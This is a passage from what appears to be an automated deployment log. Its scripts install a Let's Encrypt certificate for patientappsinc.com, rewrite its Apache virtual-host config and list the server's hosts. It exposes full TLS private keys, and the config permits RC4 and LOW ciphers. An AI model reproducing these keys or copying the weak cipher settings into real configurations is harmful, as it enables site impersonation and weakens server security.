Nsm5UpUCgYB0cu1x9XZ7g9Co0537s9m7yoqfwgBJO2dGkmt3ASDCza7iq/gSQywU
iG2zNCxVjL37Zj02uNHGCNLge4SVDlwc08QCDFocXJ2Wcy8g7YiQS3T+xeQZNvNc
N78tispEjNg0604EqQSwK8o9PP1pouRNlNMEKoc0W/dgBZOLDxmhrQKBgQCtyf0Y
QfflBsfuiL3I62dvDNoPt7CTSYXpPa8xDN1WLOKo0L1D4mNbiZY0EeHrf1JQ2kYC
IJDOJu5z77HjKA0BhG08nHAFj6p7u2isuE2u1QRaUYN1KMsKhkuWPm8ssejbg0LB
OaveT1d5EYPCEQfTeSLJ+Mk4XB6at80vvrRhnQKBgCz1YOF9njfo64i5xsmAV/xY
DOva0BYXhXQP/JBYIO6fZTq75HP0MphH79z1/UxuVOQxGSU8Vjwekay3jGiXRX3q
bfQXdYiWiC7t3eCGv3AlJCKQlSjm4jOd2JCGvHgow23CqA2RWyByG5wgUljI6Pmm
nAA5rdkbPj9dD5Isparf
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-03-20 06:00:32: Establishing a connection
2026-03-20 06:00:32: Establishing a connection
2026-03-20 06:00:32: 

PUT: /tmp/pkp730273

#!/bin/bash
if [ -d "/var/www/patientappsinc_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-20 06:00:32: 

chmod 755 /tmp/pkp730273; /tmp/pkp730273; rm /tmp/pkp730273

2026-03-20 06:00:32: 


0


2026-03-20 06:01:02: Establishing a connection
2026-03-20 06:01:03: 

PUT: /tmp/pkp909122

#!/bin/bash
temp_file=$(mktemp)
TARGET=7CDF9F2FFCE67F19977AD2F2DDA28042.crt

cat > $temp_file <<'endmsg'
73:42:86:e9:ca:05:bb:bc:47:d2:91:55:b8:52:72:70

-----BEGIN CERTIFICATE-----
MIIFMTCCBBmgAwIBAgISBe+pGP35zm6i4wY/qhanu0+lMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzIwMDUwMjMxWhcNMjYwNjE4MDUwMjMwWjAdMRswGQYDVQQD
ExJwYXRpZW50YXBwc2luYy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDHCO2cqlm6f8wHJXwp1zJoy0kpwqr7V7+A+VTOxVykONqtO/yxarI5Zkef
m5+v4VK7lusKjFFGuWNQYLFGmy2if9wm2W1QYkTDvnGPZoh9pz31KR2+xibdZgBp
+OlSkvFXXBZH4w7xjwUVNTAf16pwXZMteZhd4L8Yz+ohsQG4qg8IzKCj97EnYssF
N3USB6FafNFj4gXyXCf9RNGk0g/VLH5nmIE1RdnkRCPuV9gqC61+z83gjpy6uDBM
48DjYRHRrpfJeta+GYXMfHK5zi8ABBCcJUj8zSBhdCZTs+JzKRJNnF4yk8ZVOOxK
AUrQbxFRAmHvTVZL7dj/8kRcbBzHAgMBAAGjggJTMIICTzAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
4CHamUvuXi+Y2F1Zzn/vDCo55AIwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKE
DjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmku
bGVuY3Iub3JnLzBXBgNVHREEUDBOghEqLnBhdGllbnRhcHBzLmNvbYIUKi5wYXRp
ZW50YXBwc2luYy5jb22CD3BhdGllbnRhcHBzLmNvbYIScGF0aWVudGFwcHNpbmMu
Y29tMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6
Ly9yMTMuYy5sZW5jci5vcmcvMzguY3JsMIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDx
AHcASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGdCdU5wQAABAMA
SDBGAiEA6m0H6bdA9JGE4ZX0GYAsWkwugry69uUXghMLi3Qu6EUCIQCjXlKihkbA
88WXtOQrWHf0i4dTtK1mvYQ6ft3H4+IGWgB2AJaXZL9VWJet90OHaDcIQnfp8DrV
9qTzNm5GpD8PyqnGAAABnQnVOhIAAAQDAEcwRQIgX7ChvZryuLg5BrY5pRLB3m11
SZw12f60FwJS9+tUl4YCIQC+epJBG0qc+FfqhroEd29xqWK7q9h6VPBdya0Mfv9d
2DANBgkqhkiG9w0BAQsFAAOCAQEAF7P6pdefA/6oOKulBKb1GgzORTrWI0QI3gN6
u1vTthoYZautGv9uE3FhvGKSEwrxBoc9zdWXcnr0FyiBckKE4GCOZdOW5n4Lz04t
8h21hkuZg+/cJxjVCAlefOrPiWDAi/grUrn51dcGwXT4JrCvZSMlcEvV5F71zGi6
UqpoMpelSiUb+KMPlTccf0nKhJH4EBd+hogrZCrt5TakO1NVypRsK7KFXv+jcb5Z
8ObM+gUQBrHQpEVWOpv9zHUQe9LrlrxqB/wsel0zyP/ycut7WhrEWyp97dGs7yUm
j6fOGFxORW3uKMf36QZhgfEQXcMFAXToY9poIAcidykjGMrdYw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDHCO2cqlm6f8wH
JXwp1zJoy0kpwqr7V7+A+VTOxVykONqtO/yxarI5Zkefm5+v4VK7lusKjFFGuWNQ
YLFGmy2if9wm2W1QYkTDvnGPZoh9pz31KR2+xibdZgBp+OlSkvFXXBZH4w7xjwUV
NTAf16pwXZMteZhd4L8Yz+ohsQG4qg8IzKCj97EnYssFN3USB6FafNFj4gXyXCf9
RNGk0g/VLH5nmIE1RdnkRCPuV9gqC61+z83gjpy6uDBM48DjYRHRrpfJeta+GYXM
fHK5zi8ABBCcJUj8zSBhdCZTs+JzKRJNnF4yk8ZVOOxKAUrQbxFRAmHvTVZL7dj/
8kRcbBzHAgMBAAECggEAG35rPFH31SBkMbSG40y7xOgX8jHW5qNna8yFX465zmGg
K3/21xczCWTMjgq0U1pf0FP3odxiOc/QHUFOG7/B3QmmgqNUS19XumZrT3DNd/YL
Q/trBXhf1AOMGRduO57awcORvFpsLQghnp1bSXrEK4Nxmj2Kw6URIL9Py1mlMDnn
Cw7ADhPFwL5ucnwlP60Dc1ZhJ+UeipYhm1rrcgRDT3+aLU+djAIrHhmssxf3iCQk
VbjzhBboBD3bBzJkc25t49eW+7O2UcBOACwx/+fUB3xNBtdnhRE/GVRQsllv4GGo
mEIOUhZP3YmcT5il02q0lqfhuyCSOEvQSbfAnDW6mQKBgQD0pxwQ5KrVj/9QEmq+
E5nZ1i49xUHxTioVdOhoHyM03RLxXbSQGG7wOMa1xglTxkPC+D5b9UmfTiDF4DD3
avUxAa4XdEkPNp+ndDbEeLxrNPNrObTzVjHtpoip3xL2Y9geepKb4lpVotWHNe+T
o6V95GF/4qlpKffF/uaHGVcuMwKBgQDQRCxjKGoEYb17xVcdTvT49wkG/FvcqNBs
W5xE9e0kcSG7gG/zKMfkxSwUlF22hgGlaxLsP4aXemULjPrZXhkZgIcGOHHFkJ7V
tOB4GV8/h01CaGSsgdn/rBcsv+aQccsHZSG468qmD7+dCNgSvK3AEKCIYT1Eg+L/
lyTXQCGbHQKBgBi2eKNMNeV0sjmIYrfoivXyKKGct1iEqMOaF4/M9WV1n2A6Mu8L
SMmDMq9R3cdUk6uyH7pyQImS/sR+LPQRHcthfBBqcqbSwbXMi2u1NnMt2hjOr3SV
FF4JIGzoV6YD1+TcRMryRmW4GRGbZSPot+LLmv2sC6jP0HNzmB21dZT5AoGBAJiL
xsNef8Dz4nl9AyD5i1+selU+lP6cPAWSWHT+eRN/NgkDu3wsu7WqYm40eivOHfiO
5A5dPXVIdiiuu7JpRRMz3DLHNzZRhrXbxarSUrzSmtlwY4Ujm4y0/UiOyw+z+dVR
0xCCzS0zTdN0/edDgjSzORKLvvenbqZti9OKKtNVAoGAHwndtyn9pI6y7QbPZzS+
0n1j8fzZGsHvAIb/U1S/94RSXI4SzeoB+/zC4+s1uHQVpJUH/86YBbCIo8y2+v2s
t4tsALUD2WwXlu2HJhTSDYIAlldBacmlPZY56DjHlV+FgYo6aGaGgaMB5E8+g98l
fkqZomBFxhZ99ScViMe9/G8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-20 06:01:03: 

chmod 755 /tmp/pkp909122; /tmp/pkp909122; rm /tmp/pkp909122

2026-03-20 06:01:03: 


dir=/etc/ssl/certs


2026-03-20 06:01:03: 

PUT: /tmp/pkp312672

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientappsinc_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-20 06:01:03: 

chmod 755 /tmp/pkp312672; /tmp/pkp312672; rm /tmp/pkp312672

2026-03-20 06:01:03: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientappsinc_www_com.conf 46
<VirtualHost *:80>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientappsinc_www
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt
    DocumentRoot	/var/www/patientappsinc_www
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.php index.htm
</VirtualHost>






2026-03-20 06:01:03: 

PUT: /tmp/pkp607537

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientappsinc_www_com.conf
TARGET=/etc/apache2/sites-enabled/patientappsinc_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientappsinc_www
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt
    DocumentRoot	/var/www/patientappsinc_www
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.php index.htm
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientappsinc_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientappsinc_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/patientappsinc_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientappsinc_www_com.conf= 1'
fi


2026-03-20 06:01:03: 

chmod 755 /tmp/pkp607537; /tmp/pkp607537; rm /tmp/pkp607537

2026-03-20 06:01:03: 




2026-03-20 06:01:03: 

PUT: /tmp/pkp422237

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-20 06:01:03: 

chmod 755 /tmp/pkp422237; /tmp/pkp422237; rm /tmp/pkp422237

2026-03-20 06:01:03: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-20 06:01:03: Establishing a connection
2026-03-20 06:01:04: 

PUT: /tmp/pkp118396

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-20 06:01:04: 

chmod 755 /tmp/pkp118396; /tmp/pkp118396; rm /tmp/pkp118396

2026-03-20 06:01:04: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
